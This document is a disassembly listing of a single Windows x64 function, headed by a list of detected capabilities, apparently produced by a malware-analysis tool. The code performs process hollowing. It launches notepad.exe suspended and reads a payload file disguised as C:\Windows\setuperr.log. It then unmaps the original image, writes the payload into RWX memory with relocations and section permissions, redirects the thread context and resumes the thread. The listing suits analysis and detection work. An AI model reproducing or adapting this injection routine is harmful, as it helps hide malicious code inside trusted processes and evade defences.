Function at 0x14002d490
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Inspect section memory permissions
Read file on windows
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x660]
sub rsp, 0x760
mov rax, qword [0x14018f0c0]
xor rax, rsp
mov qword [rbp + 0x650], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a8], xmm1
mov r8d, 0x17
lea rdx, str.C:Windows_setuperr.log
lea rcx, [rbp + 0x498]
call fcn.140017500
nop
lea rcx, [rbp + 0x498]
call fcn.14002d2e0
nop
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x14002d545
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d540
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002dda6
call fcn.1400b41d0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x540]
call fcn.1400ebed0
mov r8d, 0x22
lea rdx, str.C:Windows_setuperr.log
lea rcx, [rbp + 0x540]
call fcn.140030270
nop
mov r13d, 2
cmp qword [rbp + 0x5c8], 0
je 0x14002d5dd
lea rcx, [rbp + 0x540]
call fcn.140030630
lea rcx, [rbp + 0x548]
call fcn.140030d50
test rax, rax
jne 0x14002d5dd
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x588], 0
cmovne eax, r13d
or eax, dword [rbp + rcx + 0x550]
and eax, 0x17
mov dword [rbp + rcx + 0x550], eax
mov edx, dword [rbp + rcx + 0x554]
and edx, eax
jne 0x14002ddac
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x540], rax
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x53c], edx
lea rcx, [rbp + 0x548]
call fcn.14002ffd0
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x540], rax
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x53c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x5e8], rax
lea rcx, [rbp + 0x5e8]
call fcn.1400b316c
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x4d4], xmm1
movups xmmword [rbp + 0x4e4], xmm1
movups xmmword [rbp + 0x4f4], xmm1
movups xmmword [rbp + 0x504], xmm1
movups xmmword [rbp + 0x514], xmm1
movups xmmword [rbp + 0x524], xmm1
mov dword [rbp + 0x534], eax
mov dword [rbp + 0x4d0], 0x68
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x4d0]
mov qword [rsp + 0x40], rax
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Windows_system32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14002d709
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_CreateProcessA__code___d_n
jmp 0x14002dd67
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
lea rcx, str.C:Windows_setuperr.log
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14002dd5a
lea rdx, [rbp - 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x14002d76a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_GetFileSizeEx__code___d_n
jmp 0x14002dd67
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x14002d7a1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualAlloc__code___d_n
jmp 0x14002dd67
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x4b8]
mov r8d, dword [rbp - 0x50]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14002d7d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_ReadFile__code___d_n
jmp 0x14002dd67
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd r14, dword [r15 + 0x3c]
add r14, r15
mov rsi, qword [r14 + 0x30]
mov qword [rsp + 0x60], rsi
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp - 0x40]
call fcn.1400ebed0
mov dword [rbp - 0x10], 0x100002
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x14002d828
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_GetThreadContext__code___d_n
jmp 0x14002dd67
mov rdi, qword [rbp + 0x48]
add rdi, 0x10
lea rax, [rbp + 0x4c8]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp - 0x48]
mov rdx, rdi
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14002d874
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rdi
lea rcx, str.Error_at_ReadProcessMemory__0x_x__code___d_n
call fcn.1400323d0
jmp 0x14002dd6e
mov rbx, qword [rbp - 0x48]
cmp rbx, rsi
jne 0x14002d8b9
lea rcx, [0x140142328]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140142690]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rbx
mov rcx, qword [rbp - 0x68]
call rax
test eax, eax
je 0x14002d8b9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_NtUnmapViewOfSection__code___d_n
jmp 0x14002dd67
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, rsi
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x14002d927
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x14002d915
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x70], rax
test rax, rax
jne 0x14002d927
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualAllocEx__code___d_n
jmp 0x14002dd67
cmp rbx, rax
je 0x14002d965
lea rax, [rbp + 0x498]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp - 0x70]
mov rdx, rdi
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14002d965
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_WriteProcessMemory__code___d_n
jmp 0x14002dd67
mov word [r14 + 0x5c], r13w
mov rcx, qword [rbp - 0x70]
cmp rcx, rsi
je 0x14002dafe
test byte [r14 + 0x16], 1
je 0x14002d98f
lea rcx, str.Cannot_relocate_the_PE_because_the_relocation_table_is_stripped_n
call fcn.1400323d0
jmp 0x14002dd6e
mov qword [r14 + 0x30], rcx
mov r11d, dword [r14 + 0xb0]
movzx r10d, word [r14 + 0x14]
add r10, r14
mov ebx, r12d
mov r8d, r12d
movzx edi, word [r14 + 6]
test edi, edi
je 0x14002d9e4
mov eax, r8d
lea rdx, [rax + rax*4]
mov r9d, dword [r10 + rdx*8 + 0x24]
cmp r11d, r9d
jb 0x14002d9cf
mov ecx, dword [r10 + rdx*8 + 0x20]
add ecx, r9d
cmp r11d, ecx
jb 0x14002d9d9
inc r8d
cmp r8d, edi
jb 0x14002d9b1
jmp 0x14002d9e4
mov ebx, dword [r10 + rdx*8 + 0x2c]
sub ebx, r9d
add ebx, r11d
mov ecx, ebx
add rcx, r15
mov qword [rbp + 0x498], rcx
mov edx, dword [r14 + 0xb4]
mov dword [rsp + 0x54], edx
mov eax, r12d
mov dword [rsp + 0x50], eax
test edx, edx
je 0x14002dafa
mov r8d, 0xfff
mov r13d, eax
add r13, rcx
lea rsi, [r13 + 8]
mov eax, dword [r13 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x14002dadb
mov r15d, eax
movzx ecx, word [rsi]
movzx eax, cx
shr ax, 0xc
and cx, r8w
cmp ax, 3
je 0x14002da4e
cmp ax, 0xa
jne 0x14002dac2
movzx r10d, cx
add r10d, dword [r13]
movzx r11d, word [r14 + 0x14]
add r11, r14
mov edi, r12d
mov r8d, r12d
movzx ebx, word [r14 + 6]
test ebx, ebx
je 0x14002daa3
nop dword [rax]
mov eax, r8d
lea rax, [rax + rax*4]
mov r9d, dword [r11 + rax*8 + 0x24]
cmp r10d, r9d
jb 0x14002da8e
mov edx, dword [r11 + rax*8 + 0x20]
add edx, r9d
cmp r10d, edx
jb 0x14002da98
inc r8d
cmp r8d, ebx
jb 0x14002da70
jmp 0x14002daa3
mov edi, dword [r11 + rax*8 + 0x2c]
sub edi, r9d
add edi, r10d
mov edx, edi
add rdx, qword [rsp + 0x58]
mov rcx, qword [rdx]
sub rcx, qword [rsp + 0x60]
mov qword [rdx], rcx
add rcx, qword [rbp - 0x70]
mov qword [rdx], rcx
mov r8d, 0xfff
add rsi, 2
sub r15, 1
jne 0x14002da30
mov rcx, qword [rbp + 0x498]
mov edx, dword [rsp + 0x54]
mov eax, dword [rsp + 0x50]
add eax, dword [r13 + 4]
mov dword [rsp + 0x50], eax
cmp eax, edx
jb 0x14002da10
mov r15, qword [rsp + 0x58]
mov r13d, 2
mov rcx, qword [rbp - 0x70]
mov eax, dword [r14 + 0x28]
add rax, rcx
mov qword [rbp + 0x40], rax
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14002db2d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_SetThreadContext__code___d_n
jmp 0x14002dd67
mov r9d, dword [r14 + 0x54]
lea rax, [rbp + 0x4c0]
mov qword [rsp + 0x20], rax
mov r8, r15
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14002d953
mov r8d, dword [r14 + 0x54]
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
mov r9d, r13d
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14002db8d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_VirtualProtectEx__code___d_n
jmp 0x14002dd67
movsxd rbx, dword [r15 + 0x3c]
add rbx, 0x114
cmp r12w, word [r14 + 6]
jae 0x14002dcbc
add rbx, r15
nop word [rax + rax]
mov r9d, dword [rbx + 4]
mov r8d, dword [rbx + 8]
add r8, r15
mov edx, dword [rbx]
add rdx, qword [rbp - 0x70]
lea rax, [rbp + 0x4c0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14002d953
movzx eax, word [r14 + 6]
dec eax
mov r10d, dword [rbx]
cmp r12d, eax
jne 0x14002dbf4
mov edx, dword [r14 + 0x50]
jmp 0x14002dbf7
mov edx, dword [rbx + 0x28]
sub edx, r10d
mov ecx, dword [rbx + 0x18]
mov eax, ecx
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x14002dc13
mov r9d, 0x40
jmp 0x14002dc7f
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x14002dc29
mov r9d, 0x20
jmp 0x14002dc7f
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x14002dc3f
mov r9d, 0x80
jmp 0x14002dc7f
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x14002dc55
mov r9d, 4
jmp 0x14002dc7f
bt ecx, 0x1d
jae 0x14002dc63
mov r9d, 0x10
jmp 0x14002dc7f
bt ecx, 0x1e
jae 0x14002dc6e
mov r9d, r13d
jmp 0x14002dc7f
mov r9d, 1
test ecx, ecx
mov eax, 8
cmovs r9d, eax
mov r8d, edx
mov edx, r10d
add rdx, qword [rbp - 0x70]
lea rax, [rbp + 0x490]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x14002db7b
inc r12d
add rbx, 0x28
movzx eax, word [r14 + 6]
cmp r12d, eax
jl 0x14002dbb0
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x14002dcdd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_ResumeThread__code___d_n
jmp 0x14002dd67
xorps xmm0, xmm0
movups xmmword [rbp + 0x498], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a8], xmm1
mov r8d, 0x17
lea rdx, str.C:Windows_setuperr.log
lea rcx, [rbp + 0x498]
call fcn.140017500
nop
lea rcx, [rbp + 0x498]
call fcn.14002d2e0
nop
mov rdx, qword [rbp + 0x4b0]
cmp rdx, 0xf
jbe 0x14002dd56
inc rdx
mov rcx, qword [rbp + 0x498]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002dd51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002dda0
call fcn.1400b41d0
mov al, 1
jmp 0x14002dd70
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_at_CreateFileA__code___d_n
mov edx, eax
call fcn.1400323d0
xor al, al
mov rcx, qword [rbp + 0x650]
xor rcx, rsp
call fcn.1400b41b0
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400c5874
int3
call fcn.1400c5874
nop
test dl, 4
je 0x14002ddba
lea rbx, [0x14017b988]
jmp 0x14002ddcf
test r13b, dl
lea rbx, [0x14017b9a0]
lea rax, [0x14017b9b8]
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x498]
call fcn.1400320e0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.140031ef0
lea rdx, [0x14018d7b8]
lea rcx, [rsp + 0x68]
call fcn.1400b6590
int3